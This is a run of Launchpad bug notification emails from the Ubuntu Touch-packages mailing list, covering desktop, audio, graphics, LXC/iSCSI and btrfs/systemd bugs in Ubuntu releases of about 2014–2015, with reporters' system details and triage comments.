** Attachment added: "dbus.log" https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+attachment/4404995/+files/dbus.log -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to history-service in Ubuntu. https://bugs.launchpad.net/bugs/1458990 Title: history-service crash calling back number from indicator Status in history-service package in Ubuntu: New Bug description: latest arale, image 16 Steps to reproduce: - recv a call from a known contact but don't answer it - pull down indicator, tap the call back button - dialer is invoked with the number - press call button Expected Results: - number is called and header shows the contact name Actual results: - the header is blank, and don't think the call was placed (or it might have been placed and failed) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458990] Re: history-service crash calling back number from indicator
** Attachment added: "_usr_bin_history-daemon.32011.crash" https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+attachment/4404992/+files/_usr_bin_history-daemon.32011.crash -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to history-service in Ubuntu. https://bugs.launchpad.net/bugs/1458990 Title: history-service crash calling back number from indicator Status in history-service package in Ubuntu: New Bug description: latest arale, image 16 Steps to reproduce: - recv a call from a known contact but don't answer it - pull down indicator, tap the call back button - dialer is invoked with the number - press call button Expected Results: - number is called and header shows the contact name Actual results: - the header is blank, and don't think the call was placed (or it might have been placed and failed) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1422163] Re: Unity crashing while watching youtube videos using chrome
** Description changed: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It - doesn't always crash at the first attempt but most definitely. + doesn't always crash at the first attempt but most definitely it will + crash sooner or later. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, so I'm not sure if it looked better on 14.04 but definitely it didn't crash in this way. In my view this is a regression. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3 Uname: Linux 3.16.0-30-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: i386 CompizPlugins: [core,composite,opengl,decor,imgpng,resize,gnomecompat,snap,compiztoolbox,place,move,grid,vpswitch,regex,session,mousepoll,animation,unitymtgrabhandles,wall,workarounds,fade,expo,ezoom,scale,unityshell] CurrentDesktop: Unity Date: Sun Feb 15 20:12:09 2015 InstallationDate: Installed on 2010-03-20 (1793 days ago) InstallationMedia: Ubuntu 10.04 "Lucid Lynx" - Beta i386 (20100317.1) SourcePackage: unity UpgradeStatus: Upgraded to utopic on 2014-12-08 (68 days ago) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1422163 Title: Unity crashing while watching youtube videos using chrome Status in Unity: Confirmed Status in unity package in Ubuntu: Triaged Bug description: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It doesn't always crash at the first attempt but most definitely it will crash sooner or later. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, s
[Touch-packages] [Bug 1448982] Re: mouse cursor disappears after standby
After upgrading to Ubuntu 15.04, I still see this happening sometimes (but noticeably less often then in 14.10): - after boot (→ then I reboot) - after standby - after user switching Sometimes the cursor appears again after some action, or after logging in again or after closing the laptop lid (standby) and waking up again. But also often the cursor remains invisible even after logging out or killing Xorg, then I have no other choice than reboot. This is totally indeterministic. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1448982 Title: mouse cursor disappears after standby Status in Unity: New Status in unity package in Ubuntu: New Bug description: After standby, the mouse cursor was not visible anymore. After to subsequent times standby and wakeup, the mouse cursor remains invisible. The mouse cursor does not reappear by doing a drag&drop or switching themes or restarting unity (unity --replace) or restarting the kernel module psmouse. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 Uname: Linux 3.17.1-031701-generic x86_64 .tmp.unity.support.test.0: ApportVersion: 2.14.7-0ubuntu8.4 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Mon Apr 27 12:34:34 2015 DistUpgraded: Fresh install DistroCodename: utopic DistroVariant: ubuntu DkmsStatus: virtualbox, 4.3.18, 3.16.0-34-generic, x86_64: installed virtualbox, 4.3.18, 3.16.0-36-generic, x86_64: installed EcryptfsInUse: Yes GraphicsCard: Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo Device [17aa:3978] InstallationDate: Installed on 2015-01-13 (103 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) MachineType: LENOVO 20266 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.17.1-031701-generic root=UUID=8a0dc2f3-fcf3-4e5b-8e23-1441bd36e3dc ro quiet splash acpi_backlight=vendor quiet splash acpi_backlight=vendor vt.handoff=7 SourcePackage: unity UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/31/2013 dmi.bios.vendor: LENOVO dmi.bios.version: 76CN31WW dmi.board.asset.tag: No Asset Tag dmi.board.name: Yoga2 dmi.board.vendor: LENOVO dmi.board.version: 31900058STD dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo Yoga 2 Pro dmi.modalias: dmi:bvnLENOVO:bvr76CN31WW:bd10/31/2013:svnLENOVO:pn20266:pvrLenovoYoga2Pro:rvnLENOVO:rnYoga2:rvr31900058STD:cvnLENOVO:ct10:cvrLenovoYoga2Pro: dmi.product.name: 20266 dmi.product.version: Lenovo Yoga 2 Pro dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.12+14.10.20140918-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.3.2-0ubuntu0.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.3.2-0ubuntu0.1 version.xserver-xorg-core: xserver-xorg-core 2:1.16.0-1ubuntu1.3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.9.0-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.4.0-2ubuntu2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.914-1~exp1ubuntu4.2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.11-1ubuntu2 xserver.bootTime: Wed Apr 22 11:26:09 2015 xserver.configfile: /etc/X11/xorg.conf xserver.errors: [dix] ELAN Touchscreen: unable to find touch point 0 SynPS/2 Synaptics TouchPad: Read error 19 xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.16.0-1ubuntu1.3 xserver.video_driver: intel To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1448982/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458981] [NEW] Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem
Public bug reported: Digital playback was working just fine. HDMI connected to 32" Vizio television from msi Z97 PC Mate Motherboard. Now no digital output, not even as an option. Analog audio works just fine. When I plug headphones in there is no problem. that is all identified in Settings panel and terminal commands used for troubleshooting. but the HDMI output does not appear to be recognized as everything says Analog. Ubuntu 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: alsa-base 1.0.25+dfsg-0ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-18.18-generic 3.19.6 Uname: Linux 3.19.0-18-generic x86_64 ApportVersion: 2.17.2-0ubuntu1.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: canibal2344 F pulseaudio CurrentDesktop: Unity Date: Tue May 26 14:59:34 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2014-08-05 (293 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) PackageArchitecture: all ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Type: Only some of outputs are working Title: [HDA-Intel - HDA Intel PCH, playback] Playback problem UpgradeStatus: Upgraded to vivid on 2015-04-26 (30 days ago) dmi.bios.date: 04/18/2014 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: V4.0 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z97 PC Mate(MS-7850) dmi.board.vendor: MSI dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: MSI dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrV4.0:bd04/18/2014:svnMSI:pnMS-7850:pvr1.0:rvnMSI:rnZ97PCMate(MS-7850):rvr1.0:cvnMSI:ct3:cvr1.0: dmi.product.name: MS-7850 dmi.product.version: 1.0 dmi.sys.vendor: MSI ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug vivid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1458981 Title: Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem Status in alsa-driver package in Ubuntu: New Bug description: Digital playback was working just fine. HDMI connected to 32" Vizio television from msi Z97 PC Mate Motherboard. Now no digital output, not even as an option. Analog audio works just fine. When I plug headphones in there is no problem. that is all identified in Settings panel and terminal commands used for troubleshooting. but the HDMI output does not appear to be recognized as everything says Analog. Ubuntu 15.04 ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: alsa-base 1.0.25+dfsg-0ubuntu4 ProcVersionSignature: Ubuntu 3.19.0-18.18-generic 3.19.6 Uname: Linux 3.19.0-18-generic x86_64 ApportVersion: 2.17.2-0ubuntu1.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: canibal2344 F pulseaudio CurrentDesktop: Unity Date: Tue May 26 14:59:34 2015 EcryptfsInUse: Yes InstallationDate: Installed on 2014-08-05 (293 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) PackageArchitecture: all ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Type: Only some of outputs are working Title: [HDA-Intel - HDA Intel PCH, playback] Playback problem UpgradeStatus: Upgraded to vivid on 2015-04-26 (30 days ago) dmi.bios.date: 04/18/2014 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: V4.0 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z97 PC Mate(MS-7850) dmi.board.vendor: MSI dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: MSI dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrV4.0:bd04/18/2014:svnMSI:pnMS-7850:pvr1.0:rvnMSI:rnZ97PCMate(MS-7850):rvr1.0:cvnMSI:ct3:cvr1.0: dmi.product.name: MS-7850 dmi.product.version: 1.0 dmi.sys.vendor: MSI To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1458981/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1268146] Re: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe)
Rocko - after looking through your BootDmesg.txt I also suggest that you try updating to the A12 BIOS available at http://www.dell.com/support/home/us/en/19/product-support/product/xps- l502x/drivers -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1268146 Title: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe) Status in mesa package in Ubuntu: Confirmed Bug description: I just upgraded to 14.04, and I'm seeing 50%-500% cpu usage from compiz. Strangely, glxinfo reports this, which is totally incorrect - I'm running on Intel Sandy Bridge HD3000 graphics and VMware isn't even installed on this PC: OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.4, 256 bits) OpenGL version string: 2.1 Mesa 10.0.1 So I guess that compiz might be using lots of cpu because it's using llvmpipe as the renderer. So is this a mesa bug? ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: unity 7.1.2+14.04.20131106.1-0ubuntu2 ProcVersionSignature: Ubuntu 3.13.0-1.16-generic 3.13.0-rc7 Uname: Linux 3.13.0-1-generic x86_64 .tmp.unity.support.test.1: ApportVersion: 2.13.1-0ubuntu1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Sat Jan 11 22:27:28 2014 DistUpgraded: 2014-01-11 12:30:22,360 ERROR SystemError from cache.commit(): installArchives() failed DistroCodename: trusty DistroVariant: ubuntu GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:050e] NVIDIA Corporation GF108M [GeForce GT 540M] [10de:0df4] (rev ff) (prog-if ff) InstallationDate: Installed on 2012-08-25 (504 days ago) InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120724.2) MachineType: Dell Inc. Dell System XPS L502X ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-1-generic root=UUID=67083065-b92e-4596-a218-817c1dfc8ae7 ro quiet splash intel_pstate=enable crashkernel=384M-:128M vt.handoff=7 SourcePackage: unity UpgradeStatus: Upgraded to trusty on 2014-01-11 (0 days ago) dmi.bios.date: 05/29/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A11 dmi.board.name: 0NJT03 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA11:bd05/29/2012:svnDellInc.:pnDellSystemXPSL502X:pvr:rvnDellInc.:rn0NJT03:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.name: Dell System XPS L502X dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.10+13.10.20131011-0ubuntu1 version.ia32-libs: ia32-libs 20090808ubuntu36 version.libdrm2: libdrm2 2.4.50-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.0.1-1ubuntu2 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.0.1-1ubuntu2 version.xserver-xorg-core: xserver-xorg-core 2:1.14.5-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.8.2-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.2.0-0ubuntu10 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.907-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.10-1ubuntu1 xserver.bootTime: Sat Jan 11 22:20:55 2014 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 41063 vendor DEL xserver.version: 2:1.14.5-1ubuntu2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1268146/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1226855] Re: Cannot use open-iscsi inside LXC container
@m.morana - to my knowledge modern kernel's still don't have a namespace aware ISCSI netlink implementation. In an OpenStack context, I recall seeing something about changing nova's volume attach code to use qemu's native iSCSI support which may be a workaround for iscsiadm and native block devices, but I haven't had a chance to look into it myself. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1226855 Title: Cannot use open-iscsi inside LXC container Status in linux package in Ubuntu: Confirmed Status in lxc package in Ubuntu: Confirmed Bug description: Trying to use open-iscsi from within an LXC container, but the iscsi netlink socket does not support multiple namespaces, causing: "iscsid: sendmsg: bug? ctrl_fd 6" error and failure. Command attempted: iscsiadm -m node -p $ip:$port -T $target --login Results in: Exit code: 18 Stdout: 'Logging in to [iface: default, target: $target, portal: $ip,$port] (multiple)' Stderr: 'iscsiadm: got read error (0/0), daemon died? iscsiadm: Could not login to [iface: default, target: $target, portal: $ip,$port]. iscsiadm: initiator reported error (18 - could not communicate to iscsid) iscsiadm: Could not log into all portals' ProblemType: Bug DistroRelease: Ubuntu 13.04 Package: lxc 0.9.0-0ubuntu3.4 ProcVersionSignature: Ubuntu 3.8.0-30.44-generic 3.8.13.6 Uname: Linux 3.8.0-30-generic x86_64 ApportVersion: 2.9.2-0ubuntu8.3 Architecture: amd64 Date: Tue Sep 17 14:38:08 2013 InstallationDate: Installed on 2013-01-15 (245 days ago) InstallationMedia: Xubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.1) MarkForUpload: True SourcePackage: lxc UpgradeStatus: Upgraded to raring on 2013-05-16 (124 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1226855/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1447879] Re: fscking btrfs consisting of multiple partitions fails
Quick answer: it's probably better to ask that on http://lists.freedesktop.org/mailman/listinfo/systemd-devel , there are a bunch of people familiar with both btrfs and systemd. Also, systemd- fsck-root.service apparently succeeded, so it's a different partition. What does this say? sudo systemctl status systemd-fsck@*.service -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1447879 Title: fscking btrfs consisting of multiple partitions fails Status in systemd package in Ubuntu: New Bug description: I have two SSDs in raid0 (striped) configuration with my root and home as separate subvolumes. This setup has worked fine for several Ubuntu releases, but fails with systemd on 15.04. systemd does manage to mount root, but then looks like it is trying to fsck the "disk" for home which is nonsensical. After 90 seconds it drops into a useless shell where I can't fix things. Relevant lines from /etc/fstab UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 / btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@ 0 1 UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 /home btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@home 0 2 Note how the lines are identical except for the subvol value. I originally didn't have the device= bits either but had to add it for root because of how `btrfs device scan` is run. With or without it present doesn't make any difference for home. There is no such problem booting with upstart ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: systemd 219-7ubuntu3 ProcVersionSignature: Ubuntu 3.19.0-15.15-generic 3.19.3 Uname: Linux 3.19.0-15-generic x86_64 ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 CurrentDesktop: XFCE Date: Thu Apr 23 19:45:38 2015 MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.19.0-15-generic root=UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 ro rootflags=subvol=@ nomdmonddf nomdmonisw init=/sbin/upstart SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf 1 overridden configuration files found. UpgradeStatus: Upgraded to vivid on 2015-04-23 (0 days ago) dmi.bios.date: 08/13/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2104 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8Z77-V PRO dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-VPRO:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1447879/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1447879] Re: fscking btrfs consisting of multiple partitions fails
** Summary changed: - fscking btrfs mount fails with non-unique UUIDs + fscking btrfs consisting of multiple partitions fails ** Changed in: systemd (Ubuntu) Status: Incomplete => New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1447879 Title: fscking btrfs consisting of multiple partitions fails Status in systemd package in Ubuntu: New Bug description: I have two SSDs in raid0 (striped) configuration with my root and home as separate subvolumes. This setup has worked fine for several Ubuntu releases, but fails with systemd on 15.04. systemd does manage to mount root, but then looks like it is trying to fsck the "disk" for home which is nonsensical. After 90 seconds it drops into a useless shell where I can't fix things. Relevant lines from /etc/fstab UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 / btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@ 0 1 UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 /home btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@home 0 2 Note how the lines are identical except for the subvol value. I originally didn't have the device= bits either but had to add it for root because of how `btrfs device scan` is run. With or without it present doesn't make any difference for home. There is no such problem booting with upstart ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: systemd 219-7ubuntu3 ProcVersionSignature: Ubuntu 3.19.0-15.15-generic 3.19.3 Uname: Linux 3.19.0-15-generic x86_64 ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 CurrentDesktop: XFCE Date: Thu Apr 23 19:45:38 2015 MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.19.0-15-generic root=UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 ro rootflags=subvol=@ nomdmonddf nomdmonisw init=/sbin/upstart SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf 1 overridden configuration files found. UpgradeStatus: Upgraded to vivid on 2015-04-23 (0 days ago) dmi.bios.date: 08/13/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2104 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8Z77-V PRO dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-VPRO:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1447879/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1268146] Re: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe)
This bug report has become a real mess with different hardware vendors, different hardware models, and different hardware configurations. The original reporter has hybrid Intel Sandy Bridge HD3000 graphics and NVIDIA GF108M [GeForce GT 540M] graphics. DRI PRIME support and reverse DRI PRIME support should be working on this hardware configuration and I am not experienced enough to determine why. I suggest filing a bug in the nouveau driver upstream at bugs.freedesktop.org You can than link that bug report to this bug report by clicking on "Also affects project" near the top of this page. Everyone else - please run ubuntu-bug to file a new bug report so that we can get a fresh set of log files and system information. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1268146 Title: Very high cpu usage for compiz in 14.04 (mesa incorrectly using llvmpipe) Status in mesa package in Ubuntu: Confirmed Bug description: I just upgraded to 14.04, and I'm seeing 50%-500% cpu usage from compiz. Strangely, glxinfo reports this, which is totally incorrect - I'm running on Intel Sandy Bridge HD3000 graphics and VMware isn't even installed on this PC: OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.4, 256 bits) OpenGL version string: 2.1 Mesa 10.0.1 So I guess that compiz might be using lots of cpu because it's using llvmpipe as the renderer. So is this a mesa bug? ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: unity 7.1.2+14.04.20131106.1-0ubuntu2 ProcVersionSignature: Ubuntu 3.13.0-1.16-generic 3.13.0-rc7 Uname: Linux 3.13.0-1-generic x86_64 .tmp.unity.support.test.1: ApportVersion: 2.13.1-0ubuntu1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' 